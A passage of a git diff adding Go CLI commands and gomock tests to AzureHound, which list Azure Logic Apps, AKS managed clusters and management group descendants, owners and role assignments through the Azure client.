logicappRoleAssignments = models.AzureRoleAssignments{ + ObjectId: id, + } + count = 0 + ) + for item := range client.ListRoleAssignmentsForResource(ctx, id, "", "") { + if item.Error != nil { + log.Error(item.Error, "unable to continue processing role assignments for this logic app", "logicappId", id) + } else { + roleDefinitionId := path.Base(item.Ok.Properties.RoleDefinitionId) + + logicappRoleAssignment := models.AzureRoleAssignment{ + Assignee: item.Ok, + ObjectId: id, + RoleDefinitionId: roleDefinitionId, + } + log.V(2).Info("found logic app role assignment", "logicappRoleAssignment", logicappRoleAssignment) + count++ + logicappRoleAssignments.RoleAssignments = append(logicappRoleAssignments.RoleAssignments, logicappRoleAssignment) + } + } + if ok := pipeline.SendAny(ctx.Done(), out, AzureWrapper{ + Kind: enums.KindAZLogicAppRoleAssignment, + Data: logicappRoleAssignments, + }); !ok { + return + } + log.V(1).Info("finished listing logic app role assignments", "logicappId", id, "count", count) + } + }() + } + + go func() { + wg.Wait() + close(out) + log.Info("finished listing all logic app role assignments") + }() + + return out +} diff --git a/cmd/list-logic-apps.go b/cmd/list-logic-apps.go new file mode 100644 index 0000000..8ce4d95 --- /dev/null +++ b/cmd/list-logic-apps.go @@ -0,0 +1,136 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "fmt" + "os" + "os/signal" + "sync" + "time" + + "github.com/bloodhoundad/azurehound/v2/client" + "github.com/bloodhoundad/azurehound/v2/config" + "github.com/bloodhoundad/azurehound/v2/enums" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/panicrecovery" + "github.com/bloodhoundad/azurehound/v2/pipeline" + "github.com/spf13/cobra" +) + +func init() { + listRootCmd.AddCommand(listLogicAppsCmd) +} + +var listLogicAppsCmd = &cobra.Command{ + Use: "logic-apps", + Long: "Lists Azure Logic Apps", + Run: listLogicAppsCmdImpl, + SilenceUsage: true, +} + +func listLogicAppsCmdImpl(cmd *cobra.Command, args []string) { + ctx, stop := signal.NotifyContext(cmd.Context(), os.Interrupt, os.Kill) + defer gracefulShutdown(stop) + + log.V(1).Info("testing connections") + if err := testConnections(); err != nil { + exit(err) + } else if azClient, err := newAzureClient(); err != nil { + exit(err) + } else { + log.Info("collecting azure logic apps...") + start := time.Now() + stream := listLogicApps(ctx, azClient, listSubscriptions(ctx, azClient)) + panicrecovery.HandleBubbledPanic(ctx, stop, log) + outputStream(ctx, stream) + duration := time.Since(start) + log.Info("collection completed", "duration", duration.String()) + } +} + +func listLogicApps(ctx context.Context, client client.AzureClient, subscriptions <-chan interface{}) <-chan interface{} { + var ( + out = make(chan interface{}) + ids = make(chan string) + streams = pipeline.Demux(ctx.Done(), ids, config.ColStreamCount.Value().(int)) + wg sync.WaitGroup + ) + + go func() { + defer panicrecovery.PanicRecovery() + defer close(ids) + for result := range pipeline.OrDone(ctx.Done(), subscriptions) { + if subscription, ok := result.(AzureWrapper).Data.(models.Subscription); !ok { + log.Error(fmt.Errorf("failed type assertion"), "unable to continue enumerating logic apps", "result", result) + return + } else { + if ok := pipeline.Send(ctx.Done(), ids, subscription.SubscriptionId); !ok { + return + } + } + } + }() + + wg.Add(len(streams)) + for i := range streams { + stream := streams[i] + go func() { + defer panicrecovery.PanicRecovery() + defer wg.Done() + for id := range stream { + count := 0 + // Azure only allows requesting 100 logic apps at a time. The previous + // value of math.MaxInt32 was causing issues and not collecting + // logic apps at all. This is not a great fix, since it requires proper + // pagination in case there are more than 100 logic apps, but it's better + // as an interim solution than it was before. + for item := range client.ListAzureLogicApps(ctx, id, "", 100) { + if item.Error != nil { + log.Error(item.Error, "unable to continue processing logic apps for this subscription", "subscriptionId", id) + } else { + logicapp := models.LogicApp{ + LogicApp: item.Ok, + SubscriptionId: "/subscriptions/" + id, + ResourceGroupId: item.Ok.ResourceGroupId(), + TenantId: client.TenantInfo().TenantId, + } + log.V(2).Info("found logicapp", "logicapp", logicapp) + count++ + if ok := pipeline.SendAny(ctx.Done(), out, AzureWrapper{ + Kind: enums.KindAZLogicApp, + Data: logicapp, + }); !ok { + return + } + } + } + log.V(1).Info("finished listing logic apps", "subscriptionId", id, "count", count) + } + }() + } + + go func() { + wg.Wait() + close(out) + log.Info("finished listing all logic apps") + }() + + return out +} diff --git a/cmd/list-managed-cluster-role-assignments.go b/cmd/list-managed-cluster-role-assignments.go new file mode 100644 index 0000000..29713ab --- /dev/null +++ b/cmd/list-managed-cluster-role-assignments.go @@ -0,0 +1,141 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "fmt" + "os" + "os/signal" + "path" + "sync" + "time" + + "github.com/bloodhoundad/azurehound/v2/client" + "github.com/bloodhoundad/azurehound/v2/config" + "github.com/bloodhoundad/azurehound/v2/enums" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/panicrecovery" + "github.com/bloodhoundad/azurehound/v2/pipeline" + "github.com/spf13/cobra" +) + +func init() { + listRootCmd.AddCommand(listManagedClusterRoleAssignment) +} + +var listManagedClusterRoleAssignment = &cobra.Command{ + Use: "managed-cluster-role-assignments", + Long: "Lists AKS Managed Cluster Role Assignments", + Run: listManagedClusterRoleAssignmentImpl, + SilenceUsage: true, +} + +func listManagedClusterRoleAssignmentImpl(cmd *cobra.Command, args []string) { + ctx, stop := signal.NotifyContext(cmd.Context(), os.Interrupt, os.Kill) + defer gracefulShutdown(stop) + + log.V(1).Info("testing connections") + if err := testConnections(); err != nil { + exit(err) + } else if azClient, err := newAzureClient(); err != nil { + exit(err) + } else { + log.Info("collecting azure managed cluster role assignments...") + start := time.Now() + subscriptions := listSubscriptions(ctx, azClient) + stream := listManagedClusterRoleAssignments(ctx, azClient, listManagedClusters(ctx, azClient, subscriptions)) + panicrecovery.HandleBubbledPanic(ctx, stop, log) + outputStream(ctx, stream) + duration := time.Since(start) + log.Info("collection completed", "duration", duration.String()) + } +} + +func listManagedClusterRoleAssignments(ctx context.Context, client client.AzureClient, managedClusters <-chan interface{}) <-chan interface{} { + var ( + out = make(chan interface{}) + ids = make(chan string) + streams = pipeline.Demux(ctx.Done(), ids, config.ColStreamCount.Value().(int)) + wg sync.WaitGroup + ) + + go func() { + defer panicrecovery.PanicRecovery() + defer close(ids) + + for result := range pipeline.OrDone(ctx.Done(), managedClusters) { + if managedCluster, ok := result.(AzureWrapper).Data.(models.ManagedCluster); !ok { + log.Error(fmt.Errorf("failed type assertion"), "unable to continue enumerating managed cluster role assignments", "result", result) + return + } else { + if ok := pipeline.Send(ctx.Done(), ids, managedCluster.Id); !ok { + return + } + } + } + }() + + wg.Add(len(streams)) + for i := range streams { + stream := streams[i] + go func() { + defer panicrecovery.PanicRecovery() + defer wg.Done() + for id := range stream { + var ( + managedClusterRoleAssignments = models.AzureRoleAssignments{ + ObjectId: id, + } + count = 0 + ) + for item := range client.ListRoleAssignmentsForResource(ctx, id, "", "") { + if item.Error != nil { + log.Error(item.Error, "unable to continue processing role assignments for this managed cluster", "managedClusterId", id) + } else { + roleDefinitionId := path.Base(item.Ok.Properties.RoleDefinitionId) + + managedClusterRoleAssignment := models.AzureRoleAssignment{ + Assignee: item.Ok, + ObjectId: id, + RoleDefinitionId: roleDefinitionId, + } + log.V(2).Info("found managed cluster role assignment", "managedClusterRoleAssignment", managedClusterRoleAssignment) + count++ + managedClusterRoleAssignments.RoleAssignments = append(managedClusterRoleAssignments.RoleAssignments, managedClusterRoleAssignment) + } + } + if ok := pipeline.SendAny(ctx.Done(), out, AzureWrapper{ + Kind: enums.KindAZManagedClusterRoleAssignment, + Data: managedClusterRoleAssignments, + }); !ok { + return + } + log.V(1).Info("finished listing managed cluster role assignments", "managedClusterId", id, "count", count) + } + }() + } + + go func() { + wg.Wait() + close(out) + log.Info("finished listing all managed cluster role assignments") + }() + + return out +} diff --git a/cmd/list-managed-clusters.go b/cmd/list-managed-clusters.go new file mode 100644 index 0000000..490224b --- /dev/null +++ b/cmd/list-managed-clusters.go @@ -0,0 +1,131 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "fmt" + "os" + "os/signal" + "sync" + "time" + + "github.com/bloodhoundad/azurehound/v2/client" + "github.com/bloodhoundad/azurehound/v2/config" + "github.com/bloodhoundad/azurehound/v2/enums" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/panicrecovery" + "github.com/bloodhoundad/azurehound/v2/pipeline" + "github.com/spf13/cobra" +) + +func init() { + listRootCmd.AddCommand(listManagedClustersCmd) +} + +var listManagedClustersCmd = &cobra.Command{ + Use: "managed-clusters", + Long: "Lists Azure Kubernetes Service Managed Clusters", + Run: listManagedClustersCmdImpl, + SilenceUsage: true, +} + +func listManagedClustersCmdImpl(cmd *cobra.Command, args []string) { + ctx, stop := signal.NotifyContext(cmd.Context(), os.Interrupt, os.Kill) + defer gracefulShutdown(stop) + + log.V(1).Info("testing connections") + if err := testConnections(); err != nil { + exit(err) + } else if azClient, err := newAzureClient(); err != nil { + exit(err) + } else { + log.Info("collecting azure managed clusters...") + start := time.Now() + stream := listManagedClusters(ctx, azClient, listSubscriptions(ctx, azClient)) + panicrecovery.HandleBubbledPanic(ctx, stop, log) + outputStream(ctx, stream) + duration := time.Since(start) + log.Info("collection completed", "duration", duration.String()) + } +} + +func listManagedClusters(ctx context.Context, client client.AzureClient, subscriptions <-chan interface{}) <-chan interface{} { + var ( + out = make(chan interface{}) + ids = make(chan string) + streams = pipeline.Demux(ctx.Done(), ids, config.ColStreamCount.Value().(int)) + wg sync.WaitGroup + ) + + go func() { + defer panicrecovery.PanicRecovery() + defer close(ids) + for result := range pipeline.OrDone(ctx.Done(), subscriptions) { + if subscription, ok := result.(AzureWrapper).Data.(models.Subscription); !ok { + log.Error(fmt.Errorf("failed type assertion"), "unable to continue enumerating managed clusters", "result", result) + return + } else { + if ok := pipeline.Send(ctx.Done(), ids, subscription.SubscriptionId); !ok { + return + } + } + } + }() + + wg.Add(len(streams)) + for i := range streams { + stream := streams[i] + go func() { + defer panicrecovery.PanicRecovery() + defer wg.Done() + for id := range stream { + count := 0 + for item := range client.ListAzureManagedClusters(ctx, id) { + if item.Error != nil { + log.Error(item.Error, "unable to continue processing managed clusters for this subscription", "subscriptionId", id) + } else { + managedCluster := models.ManagedCluster{ + ManagedCluster: item.Ok, + SubscriptionId: "/subscriptions/" + id, + ResourceGroupId: item.Ok.ResourceGroupId(), + TenantId: client.TenantInfo().TenantId, + } + log.V(2).Info("found managed cluster", "managedCluster", managedCluster) + count++ + if ok := pipeline.SendAny(ctx.Done(), out, AzureWrapper{ + Kind: enums.KindAZManagedCluster, + Data: managedCluster, + }); !ok { + return + } + } + } + log.V(1).Info("finished listing managed clusters", "subscriptionId", id, "count", count) + } + }() + } + + go func() { + wg.Wait() + close(out) + log.Info("finished listing all managed clusters") + }() + + return out +} diff --git a/cmd/list-management-group-descendants.go b/cmd/list-management-group-descendants.go new file mode 100644 index 0000000..3cbcee7 --- /dev/null +++ b/cmd/list-management-group-descendants.go @@ -0,0 +1,121 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "fmt" + "os" + "os/signal" + "sync" + "time" + + "github.com/bloodhoundad/azurehound/v2/client" + "github.com/bloodhoundad/azurehound/v2/config" + "github.com/bloodhoundad/azurehound/v2/enums" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/panicrecovery" + "github.com/bloodhoundad/azurehound/v2/pipeline" + "github.com/spf13/cobra" +) + +func init() { + listRootCmd.AddCommand(listManagementGroupDescendantsCmd) +} + +var listManagementGroupDescendantsCmd = &cobra.Command{ + Use: "management-group-descendants", + Long: "Lists Azure Management Group Descendants", + Run: listManagementGroupDescendantsCmdImpl, + SilenceUsage: true, +} + +func listManagementGroupDescendantsCmdImpl(cmd *cobra.Command, args []string) { + ctx, stop := signal.NotifyContext(cmd.Context(), os.Interrupt, os.Kill) + defer gracefulShutdown(stop) + + log.V(1).Info("testing connections") + azClient := connectAndCreateClient() + log.Info("collecting azure management group descendants...") + start := time.Now() + stream := listManagementGroupDescendants(ctx, azClient, listManagementGroups(ctx, azClient)) + panicrecovery.HandleBubbledPanic(ctx, stop, log) + outputStream(ctx, stream) + duration := time.Since(start) + log.Info("collection completed", "duration", duration.String()) +} + +func listManagementGroupDescendants(ctx context.Context, client client.AzureClient, managementGroups <-chan interface{}) <-chan interface{} { + var ( + out = make(chan interface{}) + ids = make(chan string) + streams = pipeline.Demux(ctx.Done(), ids, config.ColStreamCount.Value().(int)) + wg sync.WaitGroup + ) + + go func() { + defer panicrecovery.PanicRecovery() + defer close(ids) + + for result := range pipeline.OrDone(ctx.Done(), managementGroups) { + if managementGroup, ok := result.(AzureWrapper).Data.(models.ManagementGroup); !ok { + log.Error(fmt.Errorf("failed type assertion"), "unable to continue enumerating management group descendants", "result", result) + return + } else { + if ok := pipeline.Send(ctx.Done(), ids, managementGroup.Name); !ok { + return + } + } + } + }() + + wg.Add(len(streams)) + for i := range streams { + stream := streams[i] + go func() { + defer panicrecovery.PanicRecovery() + defer wg.Done() + for id := range stream { + count := 0 + for item := range client.ListAzureManagementGroupDescendants(ctx, id, 3000) { + if item.Error != nil { + log.Error(item.Error, "unable to continue processing descendants for this management group", "managementGroupId", id) + } else { + log.V(2).Info("found management group descendant", "type", item.Ok.Type, "id", item.Ok.Id, "parent", item.Ok.Properties.Parent.Id) + count++ + if ok := pipeline.SendAny(ctx.Done(), out, AzureWrapper{ + Kind: enums.KindAZManagementGroupDescendant, + Data: item.Ok, + }); !ok { + return + } + } + } + log.V(1).Info("finished listing management group descendants", "managementGroupId", id, "count", count) + } + }() + } + + go func() { + wg.Wait() + close(out) + log.Info("finished listing all management group descendants") + }() + + return out +} diff --git a/cmd/list-management-group-descendants_test.go b/cmd/list-management-group-descendants_test.go new file mode 100644 index 0000000..3b3e53a --- /dev/null +++ b/cmd/list-management-group-descendants_test.go @@ -0,0 +1,103 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "fmt" + "testing" + + "github.com/bloodhoundad/azurehound/v2/client" + "github.com/bloodhoundad/azurehound/v2/client/mocks" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/models/azure" + "go.uber.org/mock/gomock" +) + +func init() { + setupLogger() +} + +func TestListManagementGroupDescendants(t *testing.T) { + ctrl := gomock.NewController(t) + defer ctrl.Finish() + ctx := context.Background() + + mockClient := mocks.NewMockAzureClient(ctrl) + + mockManagementGroupsChannel := make(chan interface{}) + mockManagementGroupDescendantChannel := make(chan client.AzureResult[azure.DescendantInfo]) + mockManagementGroupDescendantChannel2 := make(chan client.AzureResult[azure.DescendantInfo]) + + mockTenant := azure.Tenant{} + mockError := fmt.Errorf("I'm an error") + mockClient.EXPECT().TenantInfo().Return(mockTenant).AnyTimes() + mockClient.EXPECT().ListAzureManagementGroupDescendants(gomock.Any(), gomock.Any(), gomock.Any()).Return(mockManagementGroupDescendantChannel).Times(1) + mockClient.EXPECT().ListAzureManagementGroupDescendants(gomock.Any(), gomock.Any(), gomock.Any()).Return(mockManagementGroupDescendantChannel2).Times(1) + channel := listManagementGroupDescendants(ctx, mockClient, mockManagementGroupsChannel) + + go func() { + defer close(mockManagementGroupsChannel) + mockManagementGroupsChannel <- AzureWrapper{ + Data: models.ManagementGroup{}, + } + mockManagementGroupsChannel <- AzureWrapper{ + Data: models.ManagementGroup{}, + } + }() + go func() { + defer close(mockManagementGroupDescendantChannel) + mockManagementGroupDescendantChannel <- client.AzureResult[azure.DescendantInfo]{} + mockManagementGroupDescendantChannel <- client.AzureResult[azure.DescendantInfo]{} + }() + go func() { + defer close(mockManagementGroupDescendantChannel2) + mockManagementGroupDescendantChannel2 <- client.AzureResult[azure.DescendantInfo]{} + mockManagementGroupDescendantChannel2 <- client.AzureResult[azure.DescendantInfo]{ + Error: mockError, + } + }() + + if result, ok := <-channel; !ok { + t.Fatalf("failed to receive from channel") + } else if wrapper, ok := result.(AzureWrapper); !ok { + t.Errorf("failed type assertion: got %T, want %T", result, AzureWrapper{}) + } else if _, ok := wrapper.Data.(azure.DescendantInfo); !ok { + t.Errorf("failed type assertion: got %T, want %T", wrapper.Data, azure.DescendantInfo{}) + } + + if result, ok := <-channel; !ok { + t.Fatalf("failed to receive from channel") + } else if wrapper, ok := result.(AzureWrapper); !ok { + t.Errorf("failed type assertion: got %T, want %T", result, AzureWrapper{}) + } else if _, ok := wrapper.Data.(azure.DescendantInfo); !ok { + t.Errorf("failed type assertion: got %T, want %T", wrapper.Data, azure.DescendantInfo{}) + } + + if result, ok := <-channel; !ok { + t.Fatalf("failed to receive from channel") + } else if wrapper, ok := result.(AzureWrapper); !ok { + t.Errorf("failed type assertion: got %T, want %T", result, AzureWrapper{}) + } else if _, ok := wrapper.Data.(azure.DescendantInfo); !ok { + t.Errorf("failed type assertion: got %T, want %T", wrapper.Data, azure.DescendantInfo{}) + } + + if _, ok := <-channel; ok { + t.Error("expected channel to close from an error result but it did not") + } +} diff --git a/cmd/list-management-group-owners.go b/cmd/list-management-group-owners.go new file mode 100644 index 0000000..b076ed6 --- /dev/null +++ b/cmd/list-management-group-owners.go @@ -0,0 +1,80 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "os" + "os/signal" + "time" + + "github.com/bloodhoundad/azurehound/v2/constants" + "github.com/bloodhoundad/azurehound/v2/enums" + "github.com/bloodhoundad/azurehound/v2/internal" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/panicrecovery" + "github.com/bloodhoundad/azurehound/v2/pipeline" + "github.com/spf13/cobra" +) + +func init() { + listRootCmd.AddCommand(listManagementGroupOwnersCmd) +} + +var listManagementGroupOwnersCmd = &cobra.Command{ + Use: "management-group-owners", + Long: "Lists Azure Management Group Owners", + Run: listManagementGroupOwnersCmdImpl, + SilenceUsage: true, +} + +func listManagementGroupOwnersCmdImpl(cmd *cobra.Command, args []string) { + ctx, stop := signal.NotifyContext(cmd.Context(), os.Interrupt, os.Kill) + defer gracefulShutdown(stop) + + log.V(1).Info("testing connections") + azClient := connectAndCreateClient() + log.Info("collecting azure management group owners...") + start := time.Now() + managementGroups := listManagementGroups(ctx, azClient) + roleAssignments := listManagementGroupRoleAssignments(ctx, azClient, managementGroups) + panicrecovery.HandleBubbledPanic(ctx, stop, log) + stream := listManagementGroupOwners(ctx, roleAssignments) + outputStream(ctx, stream) + duration := time.Since(start) + log.Info("collection completed", "duration", duration.String()) +} + +func listManagementGroupOwners( + ctx context.Context, + roleAssignments <-chan azureWrapper[models.ManagementGroupRoleAssignments], +) <-chan any { + return pipeline.Map(ctx.Done(), roleAssignments, func(ra azureWrapper[models.ManagementGroupRoleAssignments]) any { + filteredAssignments := internal.Filter(ra.Data.RoleAssignments, mgmtGroupRoleAssignmentFilter(constants.OwnerRoleID)) + owners := internal.Map(filteredAssignments, func(ra models.ManagementGroupRoleAssignment) models.ManagementGroupOwner { + return models.ManagementGroupOwner{ + Owner: ra.RoleAssignment, + ManagementGroupId: ra.ManagementGroupId, + } + }) + return NewAzureWrapper(enums.KindAZManagementGroupOwner, models.ManagementGroupOwners{ + ManagementGroupId: ra.Data.ManagementGroupId, + Owners: owners, + }) + }) +} diff --git a/cmd/list-management-group-owners_test.go b/cmd/list-management-group-owners_test.go new file mode 100644 index 0000000..fa7ec0c --- /dev/null +++ b/cmd/list-management-group-owners_test.go @@ -0,0 +1,76 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "testing" + + "github.com/bloodhoundad/azurehound/v2/client/mocks" + "github.com/bloodhoundad/azurehound/v2/constants" + "github.com/bloodhoundad/azurehound/v2/enums" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/models/azure" + "go.uber.org/mock/gomock" +) + +func init() { + setupLogger() +} + +func TestListManagementGroupOwners(t *testing.T) { + ctrl := gomock.NewController(t) + defer ctrl.Finish() + ctx := context.Background() + + mockClient := mocks.NewMockAzureClient(ctrl) + + mockRoleAssignmentsChannel := make(chan azureWrapper[models.ManagementGroupRoleAssignments]) + mockTenant := azure.Tenant{} + mockClient.EXPECT().TenantInfo().Return(mockTenant).AnyTimes() + channel := listManagementGroupOwners(ctx, mockRoleAssignmentsChannel) + + go func() { + defer close(mockRoleAssignmentsChannel) + + mockRoleAssignmentsChannel <- NewAzureWrapper( + enums.KindAZManagementGroupRoleAssignment, + models.ManagementGroupRoleAssignments{ + ManagementGroupId: "foo", + RoleAssignments: []models.ManagementGroupRoleAssignment{ + { + RoleAssignment: azure.RoleAssignment{ + Name: constants.OwnerRoleID, + Properties: azure.RoleAssignmentPropertiesWithScope{ + RoleDefinitionId: constants.OwnerRoleID, + }, + }, + }, + }, + }, + ) + }() + + if _, ok := <-channel; !ok { + t.Fatalf("failed to receive from channel") + } + + if _, ok := <-channel; ok { + t.Error("should not have recieved from channel") + } +} diff --git a/cmd/list-management-group-role-assignments.go b/cmd/list-management-group-role-assignments.go new file mode 100644 index 0000000..d003eb7 --- /dev/null +++ b/cmd/list-management-group-role-assignments.go @@ -0,0 +1,132 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "fmt" + "os" + "os/signal" + "sync" + "time" + + "github.com/bloodhoundad/azurehound/v2/client" + "github.com/bloodhoundad/azurehound/v2/config" + "github.com/bloodhoundad/azurehound/v2/enums" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/panicrecovery" + "github.com/bloodhoundad/azurehound/v2/pipeline" + "github.com/spf13/cobra" +) + +func init() { + listRootCmd.AddCommand(listManagementGroupRoleAssignmentsCmd) +} + +var listManagementGroupRoleAssignmentsCmd = &cobra.Command{ + Use: "management-group-role-assignments", + Long: "Lists Management Group Role Assignments", + Run: listManagementGroupRoleAssignmentsCmdImpl, + SilenceUsage: true, +} + +func listManagementGroupRoleAssignmentsCmdImpl(cmd *cobra.Command, args []string) { + ctx, stop := signal.NotifyContext(cmd.Context(), os.Interrupt, os.Kill) + defer gracefulShutdown(stop) + + log.V(1).Info("testing connections") + azClient := connectAndCreateClient() + log.Info("collecting azure management group role assignments...") + start := time.Now() + managementGroups := listManagementGroups(ctx, azClient) + stream := listManagementGroupRoleAssignments(ctx, azClient, managementGroups) + panicrecovery.HandleBubbledPanic(ctx, stop, log) + outputStream(ctx, stream) + duration := time.Since(start) + log.Info("collection completed", "duration", duration.String()) +} + +func listManagementGroupRoleAssignments(ctx context.Context, client client.AzureClient, managementGroups <-chan interface{}) <-chan azureWrapper[models.ManagementGroupRoleAssignments] { + var ( + out = make(chan azureWrapper[models.ManagementGroupRoleAssignments]) + ids = make(chan string) + streams = pipeline.Demux(ctx.Done(), ids, config.ColStreamCount.Value().(int)) + wg sync.WaitGroup + ) + + go func() { + defer panicrecovery.PanicRecovery() + defer close(ids) + + for result := range pipeline.OrDone(ctx.Done(), managementGroups) { + if managementGroup, ok := result.(AzureWrapper).Data.(models.ManagementGroup); !ok { + log.Error(fmt.Errorf("failed type assertion"), "unable to continue enumerating management group role assignments", "result", result) + return + } else { + if ok := pipeline.Send(ctx.Done(), ids, managementGroup.Id); !ok { + return + } + } + } + }() + + wg.Add(len(streams)) + for i := range streams { + stream := streams[i] + go func() { + defer panicrecovery.PanicRecovery() + defer wg.Done() + for id := range stream { + var ( + managementGroupRoleAssignments = models.ManagementGroupRoleAssignments{ + ManagementGroupId: id, + } + count = 0 + ) + for item := range client.ListRoleAssignmentsForResource(ctx, id, "atScope()", "") { + if item.Error != nil { + log.Error(item.Error, "unable to continue processing role assignments for this managementGroup", "managementGroupId", id) + } else { + managementGroupRoleAssignment := models.ManagementGroupRoleAssignment{ + ManagementGroupId: id, + RoleAssignment: item.Ok, + } + log.V(2).Info("found managementGroup role assignment", "managementGroupRoleAssignment", managementGroupRoleAssignment) + count++ + managementGroupRoleAssignments.RoleAssignments = append(managementGroupRoleAssignments.RoleAssignments, managementGroupRoleAssignment) + } + } + if ok := pipeline.Send(ctx.Done(), out, NewAzureWrapper( + enums.KindAZManagementGroupRoleAssignment, + managementGroupRoleAssignments, + )); !ok { + return + } + log.V(1).Info("finished listing managementGroup role assignments", "managementGroupId", id, "count", count) + } + }() + } + + go func() { + wg.Wait() + close(out) + log.Info("finished listing all management group role assignments") + }() + + return out +} diff --git a/cmd/list-management-group-role-assignments_test.go b/cmd/list-management-group-role-assignments_test.go new file mode 100644 index 0000000..7f21669 --- /dev/null +++ b/cmd/list-management-group-role-assignments_test.go @@ -0,0 +1,106 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "fmt" + "testing" + + "github.com/bloodhoundad/azurehound/v2/client" + "github.com/bloodhoundad/azurehound/v2/client/mocks" + "github.com/bloodhoundad/azurehound/v2/constants" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/models/azure" + "go.uber.org/mock/gomock" +) + +func init() { + setupLogger() +} + +func TestListResourceGroupRoleAssignments(t *testing.T) { + ctrl := gomock.NewController(t) + defer ctrl.Finish() + ctx := context.Background() + + mockClient := mocks.NewMockAzureClient(ctrl) + + mockResourceGroupsChannel := make(chan interface{}) + mockResourceGroupRoleAssignmentChannel := make(chan client.AzureResult[azure.RoleAssignment]) + mockResourceGroupRoleAssignmentChannel2 := make(chan client.AzureResult[azure.RoleAssignment]) + + mockTenant := azure.Tenant{} + mockError := fmt.Errorf("I'm an error") + mockClient.EXPECT().TenantInfo().Return(mockTenant).AnyTimes() + 